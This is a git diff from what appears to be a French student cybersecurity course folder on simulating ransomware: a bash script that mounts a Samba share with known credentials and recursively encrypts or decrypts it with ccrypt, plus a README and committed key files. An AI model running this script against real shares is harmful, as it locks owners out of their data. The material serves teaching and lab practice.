diff --git a/bts_annee_2/cyber2/ransomware-simulation/README.md b/bts_annee_2/cyber2/ransomware-simulation/README.md index 6d02567..861c76e 100644 --- a/bts_annee_2/cyber2/ransomware-simulation/README.md +++ b/bts_annee_2/cyber2/ransomware-simulation/README.md @@ -1,2 +1,3 @@ -Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus. -Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires. \ No newline at end of file +Séance sur la simulation d'un *ransomware* sur un partage de fichiers Samba. +Le mode d'emploi du script est dans celui-ci. +Pour générer une clé d'encryption/décryption, on peut faire ceci: `date | sha512sum > macle.txt`. diff --git a/bts_annee_2/cyber2/ransomware-simulation/cle.txt b/bts_annee_2/cyber2/ransomware-simulation/cle.txt new file mode 100644 index 0000000..96df773 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/cle.txt @@ -0,0 +1 @@ +f1822d2fe58daeadc88e0e4eef2f155fc3edd3713ff9a5d1e27696afd9231d905db51c98dcf0c6416658239b8d3b5893c5775ffd7941f769a78fcd684c5f9161 diff --git a/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh index b0e6f24..0e4f084 100644 --- a/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh +++ b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh @@ -1,34 +1,39 @@ #!/bin/bash -# déclaration des variables + +# Usage : +# bash smbcc.sh + +# Déclaration des variables. chemin=$1 cred=$2 action=$3 ficcle=$4 -# récup du mot de passe et nom d'utilisateur +# Récupération du nom d'utilisateur et du mot de passe. user=$(echo $cred| cut -d "/" -f1) pass=$(echo $cred| cut -d "/" -f2) -# créa du répertoire et on monte dessus +# Création du répertoire s'il n'existe pas, et montage du partage Samba dessus. [[ -e /mnt/samba ]] || mkdir /mnt/samba mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba -# vérification d'erreurs +# Première vérification d'erreurs. if [[ $? != 0 ]] ; then rmdir /mnt/samba exit 1 fi -# la commande ccrypt +# Commande ccrypt pour encrypter ou décrypter le répertoire avec le partage. ccrypt "$action" -r -k $ficcle /mnt/samba -# vérification d'erreurs +# Seconde vérification d'erreurs. if [[ $? != 0 ]] ; then - echo "ccrypt échoué, revérifie le script." + echo "Échec de ccrypt, veuillez relancer le script après avoir vérifié les paramètres." + umount /mnt/samba exit 1 fi -# nettoyage et sortie, code 0 +# Nettoyage des directoires, et sortie du script avec le code 0. umount /mnt/samba rmdir /mnt/samba exit 0 diff --git a/bts_annee_2/cyber2/ransomware-simulation/test.txt b/bts_annee_2/cyber2/ransomware-simulation/test.txt new file mode 100644 index 0000000..3659974 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/test.txt @@ -0,0 +1 @@ +0d7b9fea61b5707ff8bf6da489a2638153e8c5d74d3bfab9a12dca6698da3ef61441cf86b819b166cae673efc97c99cb3ab8022c62774636f9e8fe18771a13db -